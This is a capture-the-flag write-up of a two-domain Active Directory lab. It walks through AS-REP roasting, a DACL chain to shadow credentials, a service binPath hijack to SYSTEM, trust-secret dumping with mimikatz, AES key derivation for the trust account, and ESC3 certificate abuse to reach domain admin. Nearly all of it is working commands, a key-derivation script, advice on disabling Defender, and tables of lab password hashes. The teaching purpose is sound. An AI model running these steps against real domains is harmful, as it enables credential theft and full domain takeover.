PP{d4cl-4cls-sh4d0ws-4nd-s3rv1c3s}(LEGACY DC01)PP{trvst-th3-c3rt1f1c4t3-ch41n}(CORE DC02)
Old Trusty was the hardest box we touched at platypwnies and one of the least-solved on the
scoreboard. It is two Active Directory domains joined by a one-way, SID-filtered trust
(legacy.corp trusts core.corp; trustDirection=2 outbound, trustAttributes=4 QUARANTINED),
with RC4 disabled on both DCs so AES is mandatory, and a flag on each DC's Administrator
Desktop. It cost several sessions, and almost all of that time went into a single byte-level
key-derivation trap that every off-the-shelf tool gets silently wrong (Flag 2). The long list of
dead ends at the end is as much the writeup as the kill chain itself.
Summary
Two flags, two very different chains. Flag 1 is a clean legacy-domain kill chain with no
guesswork: AS-REP-roast a pre-auth-disabled user, abuse a three-hop DACL chain to write shadow
credentials onto a service account, then hijack a service's binPath (SERVICE_CHANGE_CONFIG)
to run as SYSTEM. Flag 2 is the hard one and the real lesson of the challenge: the one-way
trust is usable, but only if you can derive the inter-realm trust account's AES256 key. The
ADC tooling all gets this wrong, because a binary trust password contains lone UTF-16
surrogates, and Windows vs Python encode lone surrogates differently when converting UTF-16LE →
UTF-8 (Windows substitutes U+FFFD; Python's surrogatepass emits CESU-8). That single byte-level
discrepancy changes the PBKDF2 seed and therefore the AES key. Doing the derivation on Windows
itself (PowerShell/.NET) yields the correct key; with a TGT for core.corp\LEGACY$ we enumerate
CORE, find an enrollment-agent credential on a share, and run a classic ESC3 certificate abuse
to PKINIT as core\Administrator.
Solution / Exploit
FLAG 1 — LEGACY DC01
Step 1 — AS-REP roast (no creds).
1GetNPUsers.py legacy.corp/ -dc-ip <target> -usersfile users.txt -no-pass
2# legacy\jdoe : spongebob1 (pre-auth disabled)
Step 2 — DACL chain to shadow credentials on svc_ops. BloodHound/manual enumeration gives:
jdoehas WriteDacl on group "Legacy App Maintainers"- "Legacy App Maintainers" has AddMember on "Infrastructure Support"
- "Infrastructure Support" has AddKeyCredentialLink on
svc_ops
1# Grant jdoe WriteMembers on "Legacy App Maintainers"
2dacledit.py -action write -rights WriteMembers -principal jdoe \
3 -target "Legacy App Maintainers" -use-ldaps \
4 -dc-ip <target> legacy.corp/jdoe:spongebob1
5
6# Walk the membership chain (LDAPS/636 required — LDAP/389 rejects the writes)
7net rpc group addmem "Legacy App Maintainers" jdoe -U legacy.corp/jdoe%spongebob1 -S <target>
8net rpc group addmem "Infrastructure Support" jdoe -U legacy.corp/jdoe%spongebob1 -S <target>
9
10# Shadow credentials on svc_ops
11certipy shadow auto -u jdoe@legacy.corp -p spongebob1 -account svc_ops -dc-ip <target>
12# -> svc_ops NT hash: 4e631ddaaae8bf1601b67179f3b7ddaa
Step 3 — ReportSync service abuse → SYSTEM. svc_ops holds SERVICE_CHANGE_CONFIG on the
ReportSync service (binPath was cmd.exe /c exit 0, i.e. a no-op "Legacy Report Synchronization
Agent"). The SCM kills service children after a timeout, so for anything non-trivial we point the
service at a scheduled task:
1services.py -hashes :4e631ddaaae8bf1601b67179f3b7ddaa -dc-ip <target> \
2 legacy.corp/svc_ops@<target> change -name ReportSync \
3 -path 'cmd.exe /c schtasks /create /tn ReadFlag /tr "cmd /c type C:\Users\Administrator\Desktop\flag.txt > C:\challenge\flag_out.txt" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn ReadFlag'
4
5services.py ... start -name ReportSync # returns ERROR_SERVICE_REQUEST_TIMEOUT, but it runs
Read C:\challenge\flag_out.txt over SMB → flag 1.
FLAG 2 — CORE DC02
Step 1 — extract the trust secret from DC01. With SYSTEM on DC01 (from flag 1), first reset and then dump the trust material:
nltest /sc_change_pwd:core.corp # refresh the TDO password
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
This returns the trust's CLEAR password blob (240 bytes here) and mimikatz's derived keys for
the [Out] CORE.CORP -> LEGACY.CORP direction — that is the shared secret behind the LEGACY$
trust account on core. (An empty [In] direction is expected: the cross-realm referral path won't
work, but direct authentication as the trust account does.)
Step 2 — the AES key-derivation trap. The trust password is a random binary blob, and interpreting it as UTF-16LE produces lone surrogates (unpaired code units in U+D800–DFFF). Windows derives the AES256 Kerberos key by: UTF-16LE → UTF-8, then PBKDF2-HMAC-SHA1(password, salt, 4096), then the RFC 3962 DK step. The catch is the UTF-16LE→UTF-8 step:
| Implementation | Lone surrogate U+D800 becomes |
|---|---|
| Windows (.NET) | U+FFFD → EF BF BD |
Python surrogatepass (impacket, certipy, …) |
CESU-8 → ED A0 80 |
Python errors='replace' |
U+FFFD → EF BF BD (matches Windows) |
In this challenge's 240-byte blob, 9 bytes differed between the two encodings → a completely
different PBKDF2 seed and therefore a different AES key. On top of that, mimikatz uses a generic
trust salt, while the KDC advertises CORE.CORPkrbtgtLEGACY for the LEGACY$ account (visible
in PA-ETYPE-INFO2 during AS-REQ). So neither mimikatz's key (wrong salt) nor any Python derivation
(wrong UTF-8 encoding) works.
Step 3 — derive the correct key on Windows. Upload a PowerShell script to DC01 that does the conversion with .NET and derives the key with the KDC's salt:
$clear_hex = "65 f6 29 95 ..." # the CLEAR blob from mimikatz
$bytes = [byte[]]($clear_hex.Trim() -split '\s+' | % { [Convert]::ToByte($_,16) })
$password_str = [System.Text.Encoding]::Unicode.GetString($bytes) # UTF-16LE
$utf8_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_str) # lone surrogates -> U+FFFD
$salt = [System.Text.Encoding]::UTF8.GetBytes("CORE.CORPkrbtgtLEGACY")
$dk = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes($utf8_bytes,$salt,4096)).GetBytes(32)
"AES256: " + [BitConverter]::ToString($dk).Replace("-","").ToLower()
AES256: b6f87dbf1674c4a50785fb13c6912690924aef0d070a9f653ab2cfd36dbc0d88
Step 4 — authenticate as LEGACY$ to CORE's KDC.
1getTGT.py -aesKey b6f87dbf1674c4a50785fb13c6912690924aef0d070a9f653ab2cfd36dbc0d88 \
2 -dc-ip <target> core.corp/LEGACY\$
3# TGT for LEGACY$@CORE.CORP obtained
Step 5 — enumerate CORE through the trust account. Get a service ticket and browse SMB:
1KRB5CCNAME=./LEGACY\$.ccache getST.py -k -no-pass \
2 -spn cifs/DC02.core.corp -dc-ip <target> core.corp/LEGACY\$
3
4KRB5CCNAME='./LEGACY$@cifs_DC02.core.corp@CORE.CORP.ccache' smbclient.py -k -no-pass DC02.core.corp
The Software$ share contains PKI/LegacyClient/enrollment-agent.xml, holding credentials for
svc_enrollment@core.corp:
svc_enrollment : oUqaAUD/Te3RSlK2F/Eo5KRAAx1enUPE/qKwxhriK864PlM6aA1!
Step 6 — ESC3 (enrollment-agent certificate abuse).
1certipy find -u svc_enrollment@core.corp \
2 -p 'oUqaAUD/Te3RSlK2F/Eo5KRAAx1enUPE/qKwxhriK864PlM6aA1!' -dc-ip <target> -target <target>
svc_enrollment (via the PKI Automation group) can enroll the EnrollmentAgent template
(EKU Certificate Request Agent), and the User template accepts enrollment agents with no
principal restriction — textbook ESC3:
1# 1) get an enrollment-agent certificate
2certipy req -u svc_enrollment@core.corp \
3 -p 'oUqaAUD/Te3RSlK2F/Eo5KRAAx1enUPE/qKwxhriK864PlM6aA1!' \
4 -ca CORE-CORE-DC02-CA -template EnrollmentAgent -target <target> -dc-ip <target>
5
6# 2) use it to request a cert on behalf of Administrator
7certipy req -u svc_enrollment@core.corp \
8 -p 'oUqaAUD/Te3RSlK2F/Eo5KRAAx1enUPE/qKwxhriK864PlM6aA1!' \
9 -ca CORE-CORE-DC02-CA -template User -on-behalf-of 'core\Administrator' \
10 -pfx svc_enrollment.pfx -target <target> -dc-ip <target>
11# -> administrator.pfx
Step 7 — PKINIT as Administrator, then read the flag.
1certipy auth -pfx administrator.pfx -dc-ip <target>
2# core\Administrator NT hash: 6a1d63f952ad27b6bf764616d0460283 (TGT -> administrator.ccache)
3
4KRB5CCNAME=./administrator.ccache smbclient.py -k -no-pass DC02.core.corp
5# use C$ ; get Users\Administrator\Desktop\flag.txt
Flag(s)
PP{d4cl-4cls-sh4d0ws-4nd-s3rv1c3s} # flag 1 — LEGACY DC01 \Users\Administrator\Desktop\flag.txt
PP{trvst-th3-c3rt1f1c4t3-ch41n} # flag 2 — CORE DC02 \Users\Administrator\Desktop\flag.txt
Notes / Pitfalls
This box cost several sessions. The dead ends are the writeup.
- Defender eats mimikatz. On a fresh instance, Defender is ON and deletes
mimikatz.exeon landing. Disable real-time protection (and/or add an exclusion) and re-upload. services.py startalways "fails". It returnsERROR_SERVICE_REQUEST_TIMEOUTeven when the payload executed as SYSTEM. Don't chase the error — verify side effects (the output file).- "The trust is misprovisioned / half-built" was WRONG. An important intermediate conclusion
(Sessions 5–6) was that CORE had no accepting trust for LEGACY and the trust was one-way/broken —
backed by real evidence: legacy's TDO
trustAuthOutgoingempty,getST krbtgt/CORE.CORP→KDC_ERR_S_PRINCIPAL_UNKNOWN, CORE rejecting every forged inter-realm ticket (KRB_AP_ERR_BAD_INTEGRITYfor AES,ETYPE_NOSUPPfor RC4), and a 129-salt-convention brute × {impacket KDF, raw PBKDF2} × {raw, u16, hex, latin1, truncated, reversed, base64, surrogatepass…} producing zero hits. The lesson: the brute looked exhaustive but was systematically wrong in the one dimension nobody varied — the UTF-16LE→UTF-8 conversion of lone surrogates. - The cross-realm referral is genuinely dead here — don't waste time on
getST krbtgt/CORE.CORPor forged inter-realm tickets. The working path is a direct AS-REQ as the trust account (core.corp\LEGACY$) with a correctly-derived AES key; NTLM is rejected for trust accounts (STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT), and RC4 is off on both DCs, so an AES key is mandatory. - Salt must be the KDC's, not mimikatz's.
CORE.CORPkrbtgtLEGACY(as advertised in PA-ETYPE-INFO2), not a genericLEGACY.CORPkrbtgt-style salt. - Coercion was a dead end. EFSRPC not listening even on a null session, PrinterBug
ept_s_not_registered(spooler off), DFSNM needs an authenticated core session we didn't have. CORE exposes only the standard DC port set (no HTTP/web-enrolment; no WinRM/RDP). - CORE does not trust LEGACY-CA. A cert forged with the legacy CA key for
administrator@core.corp(orlegacy@core.corp) → PKINIT →KDC_ERROR_CLIENT_NOT_TRUSTED. The bridge into core is the trust account + core's own CA, not the legacy CA. - DNS was a red herring. legacy's
core.corpzone was an AD-integrated secondary with 0 records (DC01 couldn't resolvedc02.core.corpor_kerberos._tcp.core.corp); we added A/SRV records as DA and it still didn't change the Kerberos outcome. - Provisioning details (for archaeology). The bootstrap script
common.ps1on the role disk describesEnsure-ChallengeCA(LEGACY-CA on DC01),Set-PeerConditionalForwarder,Install-ChallengeFlag, andRotate-DomainAdministratorPassword(a randombase64(36B)+"aA1!"). ItsBootstrapPassword = "Packer-Build-Only-2026!"is build-only and is not valid on a live box (the Administrator password is rotated at provisioning). The trust-creation role scripts were deleted after provisioning, so their text is not recoverable.
Credentials collected
| Account | Domain | Credential |
|---|---|---|
jdoe |
legacy.corp | spongebob1 / NT 54bd2b0484dae7de17cce2f837597b76 |
svc_ops |
legacy.corp | NT 4e631ddaaae8bf1601b67179f3b7ddaa |
Administrator |
legacy.corp | NT 9142e1c061faa6bc1092f213dc15af38 |
krbtgt |
legacy.corp | NT 09a414480b16a946027edad9c9d260c9 |
Trust (LEGACY$ on core) |
core.corp | AES256 b6f87dbf1674c4a50785fb13c6912690924aef0d070a9f653ab2cfd36dbc0d88 |
svc_enrollment |
core.corp | oUqaAUD/Te3RSlK2F/Eo5KRAAx1enUPE/qKwxhriK864PlM6aA1! |
Administrator |
core.corp | NT 6a1d63f952ad27b6bf764616d0460283 |
Domain SIDs
- LEGACY:
S-1-5-21-472651491-2478382064-1031694744 - CORE:
S-1-5-21-2429661416-260090189-2427659033